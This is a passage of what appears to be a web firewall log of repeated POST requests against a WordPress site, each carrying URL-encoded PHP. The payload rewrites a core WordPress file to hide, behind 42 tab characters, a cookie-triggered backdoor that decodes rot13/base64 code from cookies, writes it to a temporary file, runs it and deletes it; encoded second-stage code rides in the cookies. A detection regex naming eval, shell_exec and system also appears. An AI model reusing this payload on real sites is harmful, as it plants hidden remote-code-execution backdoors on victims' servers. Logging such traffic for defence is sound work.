0%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncontent-length:4329\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\njf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:02","51.38.81.255","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4329\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nfg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:04","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:4352\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:48:06","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Rl:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.st